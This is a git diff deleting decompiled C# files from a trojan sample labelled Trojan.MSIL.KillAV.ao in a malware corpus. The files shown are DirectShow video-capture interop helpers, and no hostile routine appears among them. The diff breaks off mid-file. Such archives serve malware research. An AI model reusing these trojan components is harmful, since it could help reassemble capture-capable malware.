b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/CLSCTX.cs deleted file mode 100644 index db948193..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/CLSCTX.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.CLSCTX -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; - -namespace DShowNET -{ - [Flags] - internal enum CLSCTX - { - Inproc = 3, - Server = 21, // 0x00000015 - All = 23, // 0x00000017 - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Clsid.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Clsid.cs deleted file mode 100644 index 3fd6c103..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Clsid.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Clsid -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class Clsid - { - public static readonly Guid SystemDeviceEnum = new Guid(1656642832, (short) 24811, (short) 4560, (byte) 189, (byte) 59, (byte) 0, (byte) 160, (byte) 201, (byte) 17, (byte) 206, (byte) 134); - public static readonly Guid FilterGraph = new Guid(3828804531U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid CaptureGraphBuilder2 = new Guid(3213342433U, (ushort) 35879, (ushort) 4560, (byte) 179, (byte) 240, (byte) 0, (byte) 170, (byte) 0, (byte) 55, (byte) 97, (byte) 197); - public static readonly Guid SampleGrabber = new Guid(3253993632U, (ushort) 16136, (ushort) 4563, (byte) 159, (byte) 11, (byte) 0, (byte) 96, (byte) 8, (byte) 3, (byte) 158, (byte) 55); - public static readonly Guid InfTee = new Guid(4164454976U, (ushort) 54715, (ushort) 4560, (byte) 190, (byte) 90, (byte) 0, (byte) 128, (byte) 199, (byte) 6, (byte) 86, (byte) 142); - public static readonly Guid DvdGraphBuilder = new Guid(4240528055U, (ushort) 62322, (ushort) 4560, (byte) 142, (byte) 0, (byte) 0, (byte) 192, (byte) 79, (byte) 215, (byte) 192, (byte) 139); - public static readonly Guid StreamBufferSink = new Guid("2db47ae5-cf39-43c2-b4d6-0cd8d90946f4"); - public static readonly Guid StreamBufferSource = new Guid("c9f5fe02-f851-4eb5-99ee-ad602af1e619"); - public static readonly Guid VideoMixingRenderer = new Guid(3095128955U, (ushort) 36137, (ushort) 16959, (byte) 174, (byte) 77, (byte) 101, (byte) 130, (byte) 193, (byte) 1, (byte) 117, (byte) 172); - public static readonly Guid VideoMixingRenderer9 = new Guid(1370794995, (short) 29839, (short) 20027, (byte) 162, (byte) 118, (byte) 200, (byte) 40, (byte) 51, (byte) 14, (byte) 146, (byte) 106); - public static readonly Guid VideoRendererDefault = new Guid(1807863802U, (ushort) 36801, (ushort) 16993, (byte) 172, (byte) 34, (byte) 207, (byte) 180, (byte) 204, (byte) 56, (byte) 219, (byte) 80); - public static readonly Guid AviSplitter = new Guid(458509344U, (ushort) 64779, (ushort) 4558, (byte) 140, (byte) 99, (byte) 0, (byte) 170, (byte) 0, (byte) 68, (byte) 181, (byte) 30); - public static readonly Guid SmartTee = new Guid(3428377216U, (ushort) 35489, (ushort) 4561, (byte) 179, (byte) 241, (byte) 0, (byte) 170, (byte) 0, (byte) 55, (byte) 97, (byte) 197); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/DsDev.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/DsDev.cs deleted file mode 100644 index 6dd65088..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/DsDev.cs +++ /dev/null @@ -1,91 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Device.DsDev -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Collections; -using System.Runtime.InteropServices; - -namespace DShowNET.Device -{ - [ComVisible(false)] - public class DsDev - { - public static bool GetDevicesOfCat(Guid cat, out ArrayList devs) - { - devs = (ArrayList) null; - object o = (object) null; - ICreateDevEnum createDevEnum = (ICreateDevEnum) null; - UCOMIEnumMoniker ppEnumMoniker = (UCOMIEnumMoniker) null; - UCOMIMoniker[] rgelt = new UCOMIMoniker[1]; - try - { - o = Activator.CreateInstance(Type.GetTypeFromCLSID(Clsid.SystemDeviceEnum)); - ((ICreateDevEnum) o).CreateClassEnumerator(ref cat, out ppEnumMoniker, 0); - int num = 0; - while (ppEnumMoniker.Next(1, rgelt, out int _) == 0 && rgelt[0] != null) - { - DsDevice dsDevice = new DsDevice(); - dsDevice.Name = DsDev.GetFriendlyName(rgelt[0]); - if (devs == null) - devs = new ArrayList(); - dsDevice.Mon = rgelt[0]; - rgelt[0] = (UCOMIMoniker) null; - devs.Add((object) dsDevice); - ++num; - } - return num > 0; - } - catch (Exception ex) - { - if (devs != null) - { - foreach (DsDevice dsDevice in devs) - dsDevice.Dispose(); - devs = (ArrayList) null; - } - return false; - } - finally - { - createDevEnum = (ICreateDevEnum) null; - if (rgelt[0] != null) - Marshal.ReleaseComObject((object) rgelt[0]); - rgelt[0] = (UCOMIMoniker) null; - if (ppEnumMoniker != null) - Marshal.ReleaseComObject((object) ppEnumMoniker); - if (o != null) - Marshal.ReleaseComObject(o); - } - } - - private static string GetFriendlyName(UCOMIMoniker mon) - { - object ppvObj = (object) null; - IPropertyBag propertyBag1 = (IPropertyBag) null; - try - { - Guid guid = typeof (IPropertyBag).GUID; - mon.BindToStorage((UCOMIBindCtx) null, (UCOMIMoniker) null, ref guid, out ppvObj); - IPropertyBag propertyBag2 = (IPropertyBag) ppvObj; - object pVar = (object) ""; - int errorCode = propertyBag2.Read("FriendlyName", ref pVar, IntPtr.Zero); - if (errorCode != 0) - Marshal.ThrowExceptionForHR(errorCode); - return pVar as string; - } - catch (Exception ex) - { - return (string) null; - } - finally - { - propertyBag1 = (IPropertyBag) null; - if (ppvObj != null) - Marshal.ReleaseComObject(ppvObj); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/DsDevice.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/DsDevice.cs deleted file mode 100644 index 1043220a..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/DsDevice.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Device.DsDevice -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET.Device -{ - [ComVisible(false)] - public class DsDevice : IDisposable - { - public string Name; - public UCOMIMoniker Mon; - - public void Dispose() - { - if (this.Mon != null) - Marshal.ReleaseComObject((object) this.Mon); - this.Mon = (UCOMIMoniker) null; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/ICreateDevEnum.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/ICreateDevEnum.cs deleted file mode 100644 index 280f6777..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/ICreateDevEnum.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Device.ICreateDevEnum -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET.Device -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("29840822-5B84-11D0-BD3B-00A0C911CE86")] - [ComVisible(true)] - [ComImport] - public interface ICreateDevEnum - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int CreateClassEnumerator([In] ref Guid pType, out UCOMIEnumMoniker ppEnumMoniker, [In] int dwFlags); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/IPropertyBag.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/IPropertyBag.cs deleted file mode 100644 index 4300440f..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/IPropertyBag.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Device.IPropertyBag -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET.Device -{ - [Guid("55272A00-42CB-11CE-8135-00AA004BB851")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [ComImport] - public interface IPropertyBag - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int Read([MarshalAs(UnmanagedType.LPWStr), In] string pszPropName, [MarshalAs(UnmanagedType.Struct), In, Out] ref object pVar, IntPtr pErrorLog); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Write([MarshalAs(UnmanagedType.LPWStr), In] string pszPropName, [MarshalAs(UnmanagedType.Struct), In] ref object pVar); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsBugWO.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsBugWO.cs deleted file mode 100644 index ac0adab7..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsBugWO.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsBugWO -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; -using System.Runtime.Remoting.Services; - -namespace DShowNET -{ - public class DsBugWO - { - public static object CreateDsInstance(ref Guid clsid, ref Guid riid) - { - IntPtr ptrIf; - int instance = DsBugWO.CoCreateInstance(ref clsid, IntPtr.Zero, CLSCTX.Inproc, ref riid, out ptrIf); - if (instance != 0 || ptrIf == IntPtr.Zero) - Marshal.ThrowExceptionForHR(instance); - Guid iid = new Guid("00000000-0000-0000-C000-000000000046"); - Marshal.QueryInterface(ptrIf, ref iid, out IntPtr _); - object dsInstance = EnterpriseServicesHelper.WrapIUnknownWithComObject(ptrIf); - Marshal.Release(ptrIf); - return dsInstance; - } - - [DllImport("ole32.dll")] - private static extern int CoCreateInstance( - ref Guid clsid, - IntPtr pUnkOuter, - CLSCTX dwClsContext, - ref Guid iid, - out IntPtr ptrIf); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsCAUUID.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsCAUUID.cs deleted file mode 100644 index ab19ffd6..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsCAUUID.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsCAUUID -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public struct DsCAUUID - { - public int cElems; - public IntPtr pElems; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsEvCode.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsEvCode.cs deleted file mode 100644 index 06ecb14f..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsEvCode.cs +++ /dev/null @@ -1,64 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsEvCode -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET -{ - public enum DsEvCode - { - None = 0, - Complete = 1, - UserAbort = 2, - ErrorAbort = 3, - Time = 4, - Repaint = 5, - StErrStopped = 6, - StErrStPlaying = 7, - ErrorStPlaying = 8, - PaletteChanged = 9, - VideoSizeChanged = 10, // 0x0000000A - QualityChange = 11, // 0x0000000B - ShuttingDown = 12, // 0x0000000C - ClockChanged = 13, // 0x0000000D - Paused = 14, // 0x0000000E - OpeningFile = 16, // 0x00000010 - BufferingData = 17, // 0x00000011 - FullScreenLost = 18, // 0x00000012 - Activate = 19, // 0x00000013 - NeedRestart = 20, // 0x00000014 - WindowDestroyed = 21, // 0x00000015 - DisplayChanged = 22, // 0x00000016 - Starvation = 23, // 0x00000017 - OleEvent = 24, // 0x00000018 - NotifyWindow = 25, // 0x00000019 - DvdDomChange = 257, // 0x00000101 - DvdTitleChange = 258, // 0x00000102 - DvdChaptStart = 259, // 0x00000103 - DvdAudioStChange = 260, // 0x00000104 - DvdSubPicStChange = 261, // 0x00000105 - DvdAngleChange = 262, // 0x00000106 - DvdButtonChange = 263, // 0x00000107 - DvdValidUopsChange = 264, // 0x00000108 - DvdStillOn = 265, // 0x00000109 - DvdStillOff = 266, // 0x0000010A - DvdCurrentTime = 267, // 0x0000010B - DvdError = 268, // 0x0000010C - DvdWarning = 269, // 0x0000010D - DvdChaptAutoStop = 270, // 0x0000010E - DvdNoFpPgc = 271, // 0x0000010F - DvdPlaybRateChange = 272, // 0x00000110 - DvdParentalLChange = 273, // 0x00000111 - DvdPlaybStopped = 274, // 0x00000112 - DvdAnglesAvail = 275, // 0x00000113 - DvdPeriodAStop = 276, // 0x00000114 - DvdButtonAActivated = 277, // 0x00000115 - DvdCmdStart = 278, // 0x00000116 - DvdCmdEnd = 279, // 0x00000117 - DvdDiscEjected = 280, // 0x00000118 - DvdDiscInserted = 281, // 0x00000119 - DvdCurrentHmsfTime = 282, // 0x0000011A - DvdKaraokeMode = 283, // 0x0000011B - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsHlp.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsHlp.cs deleted file mode 100644 index 13722723..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsHlp.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsHlp -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; -using System.Text; - -namespace DShowNET -{ - [ComVisible(false)] - public class DsHlp - { - public const int OATRUE = -1; - public const int OAFALSE = 0; - - [DllImport("quartz.dll", CharSet = CharSet.Auto)] - public static extern int AMGetErrorText(int hr, StringBuilder buf, int max); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsOptInt64.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsOptInt64.cs deleted file mode 100644 index 69bd0b8c..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsOptInt64.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsOptInt64 -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class DsOptInt64 - { - public long Value; - - public DsOptInt64(long Value) => this.Value = Value; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsOptIntPtr.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsOptIntPtr.cs deleted file mode 100644 index efaf5ba1..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsOptIntPtr.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsOptIntPtr -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class DsOptIntPtr - { - public IntPtr Pointer; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsPOINT.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsPOINT.cs deleted file mode 100644 index a5c2f47b..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsPOINT.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsPOINT -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public struct DsPOINT - { - public int X; - public int Y; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsRECT.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsRECT.cs deleted file mode 100644 index 542ddd6b..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsRECT.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsRECT -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public struct DsRECT - { - public int Left; - public int Top; - public int Right; - public int Bottom; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsROT.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsROT.cs deleted file mode 100644 index 2347be00..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsROT.cs +++ /dev/null @@ -1,80 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsROT -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class DsROT - { - private const int ROTFLAGS_REGISTRATIONKEEPSALIVE = 1; - - public static bool AddGraphToRot(object graph, out int cookie) - { - cookie = 0; - UCOMIRunningObjectTable pprot = (UCOMIRunningObjectTable) null; - UCOMIMoniker ppmk = (UCOMIMoniker) null; - try - { - int runningObjectTable = DsROT.GetRunningObjectTable(0, out pprot); - if (runningObjectTable < 0) - Marshal.ThrowExceptionForHR(runningObjectTable); - int currentProcessId = DsROT.GetCurrentProcessId(); - IntPtr iunknownForObject = Marshal.GetIUnknownForObject(graph); - int num = (int) iunknownForObject; - Marshal.Release(iunknownForObject); - int itemMoniker = DsROT.CreateItemMoniker("!", string.Format("FilterGraph {0} pid {1}", (object) num.ToString("x8"), (object) currentProcessId.ToString("x8")), out ppmk); - if (itemMoniker < 0) - Marshal.ThrowExceptionForHR(itemMoniker); - pprot.Register(1, graph, ppmk, out cookie); - return true; - } - catch (Exception ex) - { - return false; - } - finally - { - if (ppmk != null) - Marshal.ReleaseComObject((object) ppmk); - if (pprot != null) - Marshal.ReleaseComObject((object) pprot); - } - } - - public static bool RemoveGraphFromRot(ref int cookie) - { - UCOMIRunningObjectTable pprot = (UCOMIRunningObjectTable) null; - try - { - DsROT.GetRunningObjectTable(0, out pprot); - pprot.Revoke(cookie); - cookie = 0; - return true; - } - catch (Exception ex) - { - return false; - } - finally - { - if (pprot != null) - Marshal.ReleaseComObject((object) pprot); - } - } - - [DllImport("ole32.dll")] - private static extern int GetRunningObjectTable(int r, out UCOMIRunningObjectTable pprot); - - [DllImport("ole32.dll", CharSet = CharSet.Unicode)] - private static extern int CreateItemMoniker(string delim, string item, out UCOMIMoniker ppmk); - - [DllImport("kernel32.dll")] - private static extern int GetCurrentProcessId(); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsUtils.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsUtils.cs deleted file mode 100644 index 6bede7fd..00000000 --- 